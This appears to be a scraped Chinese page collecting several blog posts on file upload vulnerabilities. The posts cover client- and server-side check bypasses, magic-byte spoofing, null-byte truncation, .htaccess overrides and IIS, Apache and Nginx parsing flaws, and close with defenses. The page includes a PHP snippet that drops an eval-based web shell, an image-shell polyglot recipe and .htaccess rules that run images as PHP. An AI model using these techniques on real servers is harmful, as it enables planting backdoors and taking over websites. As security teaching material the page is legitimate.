精华内容
下载资源
问答
  • 本靶场为二十一个关于文件上传漏洞的环境,从前端绕过、服务器绕过、木马图上传绕过、截断绕过、竞争条件等等几乎包含目前所有的文件上传漏洞类型,刷完即掌握文件上传漏洞的所有要点。 文件中打包了所需的所有环境...
  • finecms-含有前台文件上传漏洞源码包,亲测真实有效、可用!如有侵权,请联系CSDN管理员删除
  • 开发中文件上传功能很常见,作为开发者,在完成功能的基础上我们一般也要做好安全防护。 文件处理一般包含两项功能,用户上传和展示文件,如上传头像。 文件上传攻击示例 upload.php <?php $uploaddir = '...
  • 文件上传漏洞靶场.zip

    2021-03-26 22:55:23
    靶场 upload-labs
  • CwCMS_php-带有后台文件上传漏洞源码包,亲测真实有效可用,如有侵权,请联系CSDN管理员删除即可
  • Tsrc线上培训PPT 第四式web安全之文件上传漏洞专题
  • Wordpress wpDiscuz插件的一个文件长传漏洞,长传图片没有检查后缀,导致可在图片加入木马代码
  • 文件上传漏洞

    千次阅读 2020-10-21 21:44:21
    文件上传漏洞 一、文件上传原理 1.在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。 2.文件...

    文件上传漏洞

    一、文件上传原理
    1.在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。

    2.文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。

    二、文件上传漏洞高危触发点
    1.相册、头像上传
    2.视频、照片分享
    3.附件上传(论坛发帖、邮箱)
    4.文件管理器

    三、文件上传的防御方式
    1.客户端(前端js检测)在这里插入图片描述
    2.服务端
    文件的扩展名检测
    黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
    白名单检测:一般有个专门的 whitelist 文件,里面会包含的正常文件。
    Jpg png GIF
    在这里插入图片描述

    四、文件上传的绕过方式
    绕过黑名单的方式
    1.解析漏洞
    2.截断上传
    3.可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
    4.双写php-比如pphphp之类
    5.找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
    jsp jspx jspf asp asa cer aspx php php2 php3 php4 php5 phtml exe exe
    6.利用Windows的命名机制:shell.php. shell.php空格 shell.php:1.jpg shell.php:: $DATA
    绕过白名单的方式
    1.解析漏洞
    2.截断上传%00(条件限制)
    路径可控
    php参数 magic_puotes_gpc=off关闭
    3.文件包含
    绕过上传限制-服务端绕过MIME检测
    MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
    常见的MIME类型
    text/plain(纯文本)
    text/html(HTML文档)
    text/javascript(js代码)
    application/xhtml+xml(XHTML文档)
    image/gif(GIF图像)
    image/jpeg(JPEG图像)
    image/png(PNG图像)
    video/mpeg(MPEG动画)
    application/octet-stream(二进制数据)
    application/pdf(PDF文档)
    检测方式
    在这里插入图片描述
    部分Web应用系统判定文件类型是通过content-type字段,黑客可以通过抓包,将content-type字段改为常见的图片类型,如image/gif,从而绕过校验。
    绕过方式
    在这里插入图片描述
    文件头部检测(文件头就是为了描述一个文件的一些重要的属性,比如图片的长度、宽度、像素尺寸等,当程序打开文件时读取这些属性对文件进行处理)
    getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条错误信息。
    语法:
    getimagesize( string filename ) 例子:

    <?php $array = getimagesize("images/flower_1.jpg"); print_r($array); ?>

    浏览器显示如下:
    Array ( [0] => 350 [1] => 318 [2] => 2 [3] => width=“350” height=“318” [bits] => 8 [channels] => 3 [mime] => image/jpeg ) 返回结果说明
    索引 0 给出的是图像宽度的像素值
    索引 1 给出的是图像高度的像素值
    索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
    索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
    索引 bits 给出的是图像的每种颜色的位数,二进制格式
    索引 channels 给出的是图像的通道值,RGB 图像默认是 3
    索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header(“Content-type: image/jpeg”);
    在这里插入图片描述
    MIME-type规定了打开文件的时候默认使用的应用程序
    文件头就是用来规定文件的一些必要属性的,当应用程序打开文件时读取这些属性值来处理这些文件
    同一张图片存储为jpg格式和png格式时,文件的大小是不同的,即数据在两种格式的文件中存储的方式是不同的,因此文件头也就不同
    Web应用程序在校验文件类型、文件扩展名的同时,也会校验文件头,从而进一步确定文件的类型。针对这种情况,可以通过在上传的一句话木马文件的开头加入特定的文件头从而绕过这种校验方式
    绕过方式
    在这里插入图片描述
    常用的三个图片格式文件头(使用cs32软件)
    png
    89 50 4E 47 0D 0A 1A 0A
    gif
    47 49 46 38 39 61
    JPG
    FF D8 FF E0 00 10 4A 46 49 46
    图片码的生成(cmd)
    copy 1.png /b + 1.php /a 2.php
    文件上传检测与绕过之.htaccesss
    该方法使用的前提:web具体应用没有禁止.htaccess文件的上传,同时web服务器提供商允许用户上传自定义的.htaccess文件
    原理:.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
    利用方式:上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
    创建方式
    win10 直接可以创建以.htaccess的文件
    win10以下版本(cmd) cmd -> echo hello world > .htaccess
    1.将当前目录下所有文件解析成php文件

    <IfModule mime_module>
    SetHandler application/x-httpd-php
    </IfModule>

    2.将当前目录下后缀名为jpg的文件解析成PHP文件

    <IfModule mime_module>
    AddHandler php5-script .jpg
    </IfModule>

    3.将当前目录下文件名为1.jpg的文件解析成PHP文件

    <FilesMatch "1.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    五、常见的解析漏洞
    在这里插入图片描述
    1.apache 1.x 2.x解析漏洞(实验环境:wamp2.0)
    漏洞原理
    Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.a.b的“.a”和”.b” 这两种后缀是apache不可识别解析,apache就会把test.php.a.b解析成test.php。
    漏洞形式:
    www.test.com/test.php.a
    其余配置问题导致漏洞
    如果在 Apache 的配置文件中有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php. 即使文件名是 test2.php.jpg 也会以 php 来执行
    如果在 Apache 的配置文件中有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行
    如何查看Apache的版本
    在phpinfo中查看
    2.IIS6.0解析漏洞
    目录解析
    原理: 服务器默认会把xx.asp目录下的文件都解析成asp文件
    形式:www.xxx.com/xx.asp/xx.jpg
    文件解析
    原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了
    形式:www.xxx.com/xx.asp;.jpg
    3.nginx解析漏洞( 实验环境:Nginx1.4.6 )
    漏洞原理
    Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php后,一看后缀是.php,便认为该文件是php文件,转交给php去处理。php一看/test.jpg/test.php不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回“Access denied.”
    这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项PHP可以对文件路径进行“修理”。举个例子,当php遇到文件路径“/1.jpg/2.txt/3.php”时,若“/1.jpg/2.txt/3.php”不存在,则会去掉最后的“/3.php”,然后判断“/1.jpg/2.txt”是否存在,若存在,则把“/1.jpg/2.txt”当做文件“/1.jpg/2.txt/3.php”,若“/1.jpg/2.txt”仍不存在,则继续去掉“/2.txt”,以此类推
    漏洞形式
    www.xxxx.com/UploadFiles/image/1.jpg/1.php
    www.xxxx.com/UploadFiles/image/1.jpg%00.php
    www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
    4.IIS7.5解析漏洞
    IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞
    漏洞形式
    www.xxxx.com/UploadFiles/image/1.jpg/1.php
    5.windows系统解析漏洞
    旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
    漏洞形式
    test.asp.
    test.asp(空格)
    test.php:1.jpg
    test.php:: $DATA
    6.条件竞争
    条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生
    在这里插入图片描述
    六、文件上传漏洞的防御
    1.文件上传目录设置为不可执行
    利用.htaccess文件对web服务器进行限制,禁止执行脚本文件,前提是该类型的文件一定要禁止上传
    2.文件类型判断
    MIME-TYPE检测/后缀名检测,强烈推荐使用白名单
    使用压缩函数或者resize函数对上传的图片进行处理,去掉图片中的HTML代码
    3.使用随机数改写文件名和文件路径
    4.单独设置文件服务器
    在文件服务器把所有目录设置为可读可写不可执行
    保证文件服务器的安全级别很高,并且上传的文件十分可靠
    5.二次渲染
    imagecreatefromjpeg:由文件或 URL 创建一个新图象
    imagejpeg:输出图象到浏览器或文件
    6.防御总结
    文件上传漏洞的主要防护思路就是检测上传文件是否符合允许的文件类型,可以根据文件头部来判断文件类型;如果是图片类型文件,可利用PHP函数判断图片是否有效,或者对图片重新绘图,生成新的的图片。上传后的文件,要进行随机化重命名,让攻击者无从猜测。
    无论上传的资源类型是哪一种,上传目录都要禁止执行权限;可写不执行,执行不可写。这样,就算恶意脚本绕过前面的重重限制最终上传到了服务端也没有解析,其危害也非常有限

    展开全文
  • CVE-2020-25213WordPress插件File-Manager任意文件上传漏洞复现,包括笔记文档、插件、,供大家学习
  • spring-boot-upload-file-lead-to-rce-tricks 一. docker 漏洞环境搭建 docker pull landgrey/spring-boot-fat-jar-write-file-rce:1.2 docker run -d -p 18081:18081 ...文件上传功能 (默认上传到 /tmp/ 目录,
  • Weblogic 任意文件上传漏洞复现(CVE-2018-2894)附利用工具
  • CVE-2018-9206 jQuery-File-Upload 9.22.0 文件上传漏洞复现,从头到尾一步一步自己做的。
  • Upsploit是用于文件上传漏洞识别和利用的跨平台渗透测试工具。 文件上传漏洞可能导致服务器端代码执行和完全破坏。 这些漏洞在网络上很多,但是很难测试,甚至很难正确测试。 Upsploit提供了许多测试,使渗透测试...
  • 主要介绍了ASP的chr(0)文件上传漏洞原理和解决方法介绍,chr(0)漏洞在上传文件时可以绕过扩展名验证,是一个危害非常大的漏洞,需要的朋友可以参考下
  • 文件上传漏洞及常见的利用方式

    千次阅读 2021-01-08 21:11:25
    文章目录概述“文件上传”漏洞与“WebShell”文件上传漏洞的原理“文件上传漏洞”被利用植入“WebShell”后的常见安全问题:上传检测流程概述上传服务器文件命名规则常见的检测方式“文件上传漏洞”-本地验证检测绕...

    概述

    “文件上传”功能是目前互联网应用当中最常见的功能,其功能本身是一个正常的业务需求。对于网站来说,很多时候也确实需要用户上传文件到服务器。比如在个人信息中上传头像、相册功能上传保存照片、类似贴吧留言板功能的上传图片附件、邮件发送附带附件、招聘网站上传简历之类的等等功能。

    既然“文件上传”这个功能本身没有问题,那么又是如何成为漏洞的呢?在什么条件下会成为漏洞?

    其实“文件上传”本身是没有问题,有问题的是上传文件后,服务器对“被上传的文件”的处理与解释文件。如果说服务器程序对用户上传的文件进行校验或过滤不严,处理逻辑做的不够安全,导致用户可以提交修改过后的数据(一般为webshell),从而导致非常严重的后果。

    “文件上传”漏洞与“WebShell”

    “文件上传漏洞”一般都是指代“上传WEB脚本能够被服务器解析”的问题,也就是常说的WebShell问题。

    当网络攻击者利用文件上传漏洞上传了一个可执行的文件到服务器并执行(上传的文件可以是木马,病毒,恶意脚本或者WebShell等),因“文件上传漏洞”的技术利用门槛低的原因,造就了攻击的直接、有效、易实施性,可以称得上没有什么技术门槛。

    大多数网络攻击者,在利用“文件上传漏洞”后,都会留下WebShell(网页后门)方便以后再次进入系统。

    需要说明的是“文件上传漏洞”的利用进场会使用到WebShell,但是WebShell的植入方式不仅仅只有“文件上传漏洞”这一种方式。

    “文件上传漏洞”可被利用的必要条件:

    • 上传的文件能够被WEB容器解释且执行,所以文件上传后的所在目录必须是WEB容器能够覆盖到的路径。
    • 用户能够通过WEB访问上传的文件,如果说脚本文件上传了,但是无法通过WEB进行访问或者说无法通过WEB容器解释该上传文件,这种情况不能说存在“文件上传漏洞”,因为无法被利用。
    • 用户上传的脚本文件被安全规则过滤、格式化、图片压缩等功能改变了其内容,导致WebShell失效,同样会让“文件上传漏洞”攻击不成功。

    分别用一句话概括就是:

    • WebShell上传成功,未被杀;
    • 知道WebShell的路径在哪;
    • 上传的WebShell能狗正常运行。

    文件上传漏洞的原理

    上文概述我们有解释,“文件上传”本身的功能是互联网应用当中最常见的功能。如用户头像上传,留言板图片上传,附件文档上传等。一些文件上传功能的实现时,代码没有进行严格限制用户上传的文件后缀以、文件类型或文件内容,导致允许攻击者向某个可通过Web访问的目录上传任意脚本文件,并能够将这些文件传递给WEB容器解释器,就可以在远程服务器上执行任意WebShell脚本。

    当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell等其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞及脚本的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。

    一般情况下造成“文件上传漏洞”的主要原因有三种(包括但不限于):

    • 文件上传时检查不严。

      • 有一些网络应用在文件上传时根本没有进行文件格式检查及过滤,导致攻击者可以直接任意的上传恶意脚本文件。有一些网络应用仅仅在客户端进行了检查,这些在攻击者眼里几乎所有的客户端检查无限等同于没有检查,攻击者可以通过BurpSuite,Fiddler等断点上传工具即可轻松绕过客户端的检查。还有一些应用虽然在服务器端进行了黑名单过滤检查,但是却可能忽略了大小写,如将后缀“.php”改为“.Php”即可绕过检查;还有一些应用虽然在服务器端进行了白名单检查却忽略了“%00截断符”的作用,如应用本来只允许上传jpg图片,那么可以构造文件名为“xxx.php%00.jpg”,因为“%00”为十六进制的“0x00字符”,造成了“.jpg”被截断不会被读取,骗过了应用的上传文件类型检测,但对于服务器来说,因为“%00字符”截断的关系,最终上传的文件被解析成了“xxx.php”文件。
    • 文件上传后修改文件名时处理不当。

      • 有一些服务器端进行了完整的黑名单和白名单过滤的情况下,在修改已上传文件文件名上允许用户修改文件后缀。如已经过滤了用户只能上传“.jpg”文件时攻击者可以先将“.php”文件后缀修改为“.jpg”,成功上传后在修改文件名时将后缀改回“.php”文件。
    • 使用第三方插件时引入。

      • 很多应用在开发过程中都直接引用了带有文件上传功能的第三方插件,而这些插件的文件上传功能的实现上可能存在漏洞,攻击者可通过这些漏洞进行文件上传攻击。如著名的博客平台WordPress就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。

    “文件上传漏洞”被利用植入“WebShell”后的常见安全问题:

    • 上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器;
    • 上传文件是钓鱼图片或者包含了脚本的图片时,图片中的脚本,在某些版本的浏览器上会被作为脚本执行,从而被利用于钓鱼或者欺诈;
    • 上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;
    • 上传文件是病毒或者木马文件时,用于诱骗普通用户或者管理员下载执行或者直接自动运行;

    上传检测流程概述

    一般情况下,一个文件以HTTP协议进行上床时,将以POST请求发送至WEB服务器,WEB服务器接收到请求并同意后,用户与WEB服务器将建立连接,并传输DATA。

    上传服务器文件命名规则

    • 上传文件名与服务器文件名一致(已经不多见了)
    • 上传文件名与服务器文件名不一致(一般采用随机数、时间戳、日期命名)

    常见的检测方式

    1. 客户端本地JavaScript检测(通常为检测文件扩展名,也不多见但不是绝对性的没有)
    2. 服务端MIME类型检测(检测Content-Type内容)
    3. 服务端目录路经检测(检测跟path参数相关的内容)
    4. 服务端文件扩展名检测(检测跟文件extention相关的内容)
    5. 服务端文件内容检测(检测内容是否合法或含有恶意代码)

    “文件上传漏洞”-本地验证检测绕过

    客户端本地JS绕过(Javascript检测)

    • 首先判断JS本地验证

      • 通常可以根据它的验证警告弹窗的速度可以判断,如果电脑运行比较快,可以使用BurpSuite抓包,在点击提交的时候BurpSuite没有抓到爆,那么就说明这个是本地JS验证
    • 绕过方法

      • 使用BurpSuite抓包改名
      • 使用firebug打开开发人员管理工具,直接删除本地验证的JS代码
      • 添加JS验证的白名单,比如将php格式添加进去

    客户端白名单绕过

    修改允许上传的文件类型(见上文)

    “文件上传漏洞”-服务端检测绕过

    服务端检测绕过(MIME类型检测)

    MEMI的作用:使客户的软件区分不同种类的数据,例如WEB浏览器就是通过MEIME类型来判断文件是否是GIF文件,还是可以打印的PostScript文件。

    WE B服务器使用MIME来说明发送数据的种类,WEB客户端使用MIME来说明希望接收到的数据种类。

    Tomcat的安装目录\conf\web.xml中就定义了大量MIME类型

    绕过方法:

    • 直接使用BurpSuite抓包,得到post上传的数据后,将"Content-Type:text/plain"改成"Content-Type:image/gif"
    • 即可成功绕过。

    服务端目录路经检测

    目录路经检测,即检测路经是否合法,但首位特殊一些的路经都没有防御。比如fckeditor php <= 2.6.4 任意文件上传漏洞。

    当POST请求的URL如下的时候"/fckeditor264/filemanager/connectors/php/connector?Command=FileUpload&Type=Image&CurrentFolder=abc.php%00.GIF HTTP/1.0"

    CurrentFolder这个变量的值回传到ServerMapFolder($resourceType,$folderPath,$sCommand)中的形参$folder里,而$folder在这个函数中并没有做任何检测,就被CombinePaths()了

    filepath路经修改绕过

    可以用来突破自动随机数时间戳命名规则

    当我们上传一个脚本文件的时候,如"xxx.gif"。可以通过改变文件上传后的路经,如"/x.asp/"(需要一定的创建权限,不一定真实创建);
    成功创建后为"x.asp/xxx.gif",也可以直接改变文件名称为"a.asp;.xxx.gif"进行绕过。

    绕过的原理就是在文件上传目录没有可执行权限的情况下改变上传路经进行突破。

    在这里插入图片描述

    1111

    1

    服务端文件扩展名检测

    黑名单检测

    黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多;
    一般情况下会有一个专门的blacklist文件,里面包含有常见的危险脚本文件,比如fckeditor 2.4.3之前版本的黑名单

    如何绕过黑名单

    1. 文件名大小写绕过
      • 用像AsP,PhP之类的文件名绕过黑名单检测
    2. 名单列表绕过
      • 用黑名单里没有的名单进行绕过攻击,比如黑名单没有 "asa"或者"cer"之类的文件名
    3. 特殊文件名绕过
      • 比如发送的HTTP包里把文件名改为"test.asp.“或者"test.asp_”(下划线为空格),这种命名方式在WIN系统使不被允许的,所以需要在BurpSuite之类里进行修改,然后绕过验证后,会被WIN系统自动去掉后面的点或者空格。需要注意的是Unix/Linux系统没有这种特性。
    4. 0x00截断绕过
      • 在扩展名检测目前貌似只遇到过asp的程序有这种漏洞,给个简单的伪代码 name = getname(http request)
      • 如果说这个时候获取到的文件名是"xxx.asp0x00.jpg"
      • type = gettype(name)
      • gettype()函数里处理方式是从后往前扫描扩展名,所以会被判断为jpg文件
    5. .htaccess文件攻击(这种绕过方式并不现实,有个前提条件就是需要.htaccess文件可被执行,具体参考下文的Apache解析漏洞)
    6. 解析调用/漏洞绕过
      • 这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞

    白名单册检测

    白名单相对于黑名单来说要安全一些,但也不是绝对的安全。

    如何绕过白名单

    1. 0x00截断绕过
      • 用像xxx.asp%00.jpg的方式进行截断,属于白名单文件,在利用服务端代码的检测逻辑进行漏洞利用攻击。
    2. 解析调用/漏洞绕过,这类漏洞直接配合上传一个代码注入过的白名单文件即可,在利用漏洞解析/调用。
    3. ".htaccess"文件攻击
      • 参照下文Apache解析漏洞

    服务端文件内容检测绕过

    如果文件内容检测设置的比较严格,那么文件上传攻击将变得很困难。可以说这是代码层检测的最后一道关卡。如果内容检测被突破了,就算没有代码层的漏洞,也会在利用应用层的解析漏洞提供非常便利的机会。

    绕过文件头检测

    • 主要是检测文件内容的开始处的文件头,比如图片类型的文件头如下

    • 要绕过jpg文件头检测就要在文件头写上下图中的值

    • Value = FF D8 FF E0 00 10 4A 46 49 46
      在这里插入图片描述

    • 要绕过gif文件头检测就要在文件头写上下图中的值

    • Value = 47 49 46 38 39 61

    • 要绕过png文件头检测就要在文件头写上下图中的值

    • Value = 89 50 4E 47

    文件相关信息检测

    图像文件相关信息检测通常用的是gettimagesize()函数,只需要把文件头部分伪造好就OK了,然后在文件头的基础上加上脚本信息,就如同下图结构。

    GIF89a (...some binary data for image...)<?php phpinfo();?> (skipping the rest of binary data)

    文件加载检测

    • 该类型的检测方式,可以称之为最变态的检测了。一般是调用API或函数去进行文件加载测试。常见的就是图像渲染测试,再变态一些的甚至是进行二次渲染(详见下文)对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载器本身。
    • 这里简单说下对渲染/加载测试攻击-代码注入绕过,可以利用图像处理软件对一张图片进行代码注入,用"winhex"看数据分析
    • 原理是在不破坏文件本身的渲染的情况下找一个空白去进行代码填充,一般会是图片的注释区,对于渲染测试基本上可以绕过,因为文件器本身的文件结构是完整的

    绕过二次渲染

    • 攻击函数本身
    • 通过上传不完整的图片让其函数暴露,然后对其展开攻击
    • 第二种方法:对文件加载器进行溢出攻击

    表单提交按钮🔘

    • 写入表单<input type="submit" value="提交" name="submit">
    • 上传"xxx.asa"脚本文件

    “文件上传漏洞”-文件解析漏洞

    在文件上传漏洞的利用过程中,网络攻击者发现一些和Web Server本身特性相关的功能。这些往往是因为应用的开发人员没有深入理解Web Server的细节本身导致的。如果对此加以利用的话,这种弊端会成为网络攻击者的有力攻击手段。这就是我们要说的解析漏洞,解析漏洞主要说的是一些特殊文件被IIS、Apache、Nginx在一些特定情况下解释称脚本文件格式的漏洞。

    IIS文件解析漏洞

    IIS 5.x/6.0文件解析利用方法有两种

    目录解析(文件扩展名解析)

    当网站目录下建立的文件夹名称为“.asp”或者“.asp”时,其目录内的任何扩展名的文件都会被IIS服务器当作asp文件进行解析并被执行。

    举例:如果上传的脚本名称为“/xxx.asp/xxx.jpg”
    当上传的脚本名称如上述示例那样,这个时候WEB容器服务器就无法识别出被上传的是“/xxx.asp/xxx.jpg”文件还是“/xxx.asp”目录下的“xxx.jpg”文件。

    当网络攻击者可硬直上传文件夹的路径时,就可以不管上传后的脚本文件是否被改名都可以拿到Shell了。

    “;”分号文件解析

    前文我们有提到可以通过“0x00”字符阶段文件名的文件上传漏洞利用的方式,在IIS 6.0处理文件解析时,也曾经出过类似的漏洞,不过相比较“0x00”截断符,这里变成了“;”(分号)。

    当文件名为“xxx.asp;xxx.jpg”的时候,IIS 6.0会将文件解析为“xxx.asp”,文锦名被截断了,从而导致“xxx.asp”脚本被子执行。比如上main这个例子,IIS 6.0会执行“xxx.asp”,而不会管“xxx.jpg”。

    这里需要说明一下,这两个IIS的漏洞,需要在服务器的本地硬盘上确实存在这样的文件夹,如果知识通过WEB应用的URL映射出来的话,时无法触发文件上传漏洞的。

    同样的“;”分号文件解析也仅适用于上传的文件没有被过滤进行二次变更文件名的情况下,如果文件在上传之后被程序进行了重命名(程序在实现上传文件功能实现的时候,为了不会出现重复文件名的情况下会使用时间戳加随机字符对上传的文件进行二次重命名),也不会触发该文件上传漏洞。

    这些历史上存在的漏洞,也许今天还能在互联网上找到不少未修补漏洞的网站

    畸形文件名解析

    在一些特定的情况下,畸形的文案名也会被解析为可利用脚本

    举例:

    • “xxx.asa”
    • “xxx.cer”
    • “xxx.cdx”

    附:
    ".asa"后缀的脚本在 IIS 7.0/7.5 也是可以被解析的
    ".cer"后缀的脚本在 IIS 7.0有时候也是会被解析的,有时候则不可以

    PUT功能所导致的若干上传脚本问题

    PUT是WebDav中定义的一个方法。WevDav大大扩展了HTTP协议中的GET、POST、HEAD等功能,它所包含的PUT方法,允许用户上传文件到指定的文件路径下。

    在许多的WebServer中,默认是禁用了该方法的,或者对能够上传的文件做了严格限制。但是在IIS中,如果目录支持写入权限,同同时又开启了WebDav,则会支持PUT协议,再结合MOVE命令,就可以将原本情况的只允许上传文本文件改写为脚本文件来拿到WebShell。(这里需要注意的是“MOVE”是否能够执行,取决于IIS服务器)是否勾选了“脚本资源访问”的复选框。

    国内的安全研究学者zwell曾经写过一个针对PUT协议的自动化扫描工具“IIS PUT Scanner”,用以帮助检测此类问题。

    从PUT协议的攻击原理上来看,造成此方法的安全漏洞是管理员对服务器配置不当所造成的,所以说当管理员不了解安全的风险和细节的情况下,等于向网络攻击者敞开了大门。

    "PUT功能所导致的若干上传脚本问题"这段,在"道哥"所著的"白帽子讲WEB安全"一书中,有详细的讲解,有兴趣的话可以去看一看

    Apache文件解析漏洞

    Apache文件解析一般配合黑名单来使用(个人观点:黑名单是一种非常不好的设计思想)

    Apache文件解析特性:Apache是从后往前开始进行判断解析,如果不认识,就继续往前判断。
    比如"xxx.php.rar.ttt"这个脚本,因为Apache不认识"rar"、“ttt"所以会一直向前遍历,直到识别”.php",就会解析成"php"文件。

    网络攻击者一般会在测试的时候讲常见的后缀都写上,去测试是否是合法的后缀,不是别的后缀逐级向前识别。
    比如"xxx.php.asa.asp.aspx…"、“xxx.php.zzz.”

    Apache的这个特性,很多研发人员在写应用对应实现的功能时并不知道,即使知道,有的研发人员也会认为这是Web Server该负责的事情。但是如果不考虑这些因素,写出对应的安全检查功能,可能就会存在该缺陷。最终的结果就是用户上传的脚本被执行。

    .htaccess文件解析

    该文件解析漏洞需要拿到服务器权限之后才能更改,一般常用于留后门使用。

    如果说在Apache中 “.htaccess"可被执行,且可被上传,那么就可以尝试在”.htaccess"中写入:
    “<FilesMatch “xxx.jpx”>SetHandler aplication/x-httpd-php”
    然后再上传shell.jpg的木马,这样shell.jpg酒客解析为php文件

    Nginx文件解析漏洞

    Nginx文件解析漏洞是我国安全组织80sec发现的,其指出在Nginx配置Fast-CGI开启的状况下,会存在文件类型解析问题。

    其实严格意义来说,该文件解析漏洞与Nginx本身的关系并不大,Nginx知识作为一个代理将请求转发给Fast-CGI Server,然后PHP在后端处理。所以说在其他环境下的Fast-CGI,PHP同样存在这个问题,只是使用Nginx作为Web Server时,一般使用Fast-CGI的方式调用脚本解释器的方式最为常见。

    具体表现形似为:
    当上传一个"xxx.jpg"文件,内容为
    "<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>’);?>"的文件(引号内的内容),上传成功后访问 xxx.jpg/.php,则会在这个目录下生成一句话木马的 shell.php。

    在任何配置为Fast-CGI的PHP应用上传一张图片(可能是头像,也可能是上传的图片或者是附件等),其实图片内容是PHP文件,则将导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似。

    出现该漏洞的原因与在"Fast-CGI方式下,PHP获取环境变量的方式"有关。
    PHP的配置文件中有一个关键的选项"cgi.fix_pathinfo",这个选项默认是开启的,状态如下:

    cgi.fix_pathinfo = 1
    

    这个功能原本是想解决"info.php/test"这种URL时,能够正确的解析到"info.php"上。

    PHP官方给出的建议是将 "cgi.fix_pathinfo"设置为0,但是可以预见的是,官方的这种消极态度会让许许多多的"不知情者"遭受重大的损失。

    Nginx < 8.03 空字节代码执行漏洞

    影响版本:0.5.,0.6.,0.7 <= 0.7.65,0.8 <= 0.8.37

    Nginx在图片中嵌入PHP代码然后访问

    执行方式:“xxx.jpg%00.php”,从而执行其中的脚本

    该原理是网络攻击者通过上传过程中的POST包,在文件名添加一个"%00"字节的方式,可以截断某些函数对文件名的判断。

    因为在许多函数中,比如C、PHP等语言的常用字符串处理函数时,“0x00"被认定为终止符。受此影响的环境的WEB应用和和一些服务器。
    比如原本的网络应用的上传功能只允许上传"xxx.jpg"文件,可以通过构造一个包含"0x00"截断的文件名(需要修改POST包),将其改为"xxx.php%00.jpg”,其中"%00"为十六进制的00字符,此时对于服务器来说,该脚本文件的因为"%00"截断的关系,最终会变成"xxx.php"

    "%00"字符截断的问题不只是在上传文件漏洞中有所利用,因为这是一个被广泛应用于字符串处理函数的保留字符,因此在各种不同的业务逻辑中都可能出现问题,该问题需要引起重视。
    
    展开全文
  • 文章目录一、学习目的:二、文件上传漏洞原理:三、文件上传漏洞高危触发点四、前端检测:1. 原理:2. 如何判断当前页面使用前端is的验证方式:3. 绕过方法:3.1 删除js绕过:3.2 禁用js绕过:五、后端检测_后缀...

    一、学习目的:

    通过本次学习,了解文件上传漏洞的原理,及其检测方法;
    通过本次学习,了解文件上传漏洞的危害及其存在位置;

    二、文件上传漏洞原理:

    • 在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。
    • 文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。

    三、文件上传漏洞高危触发点

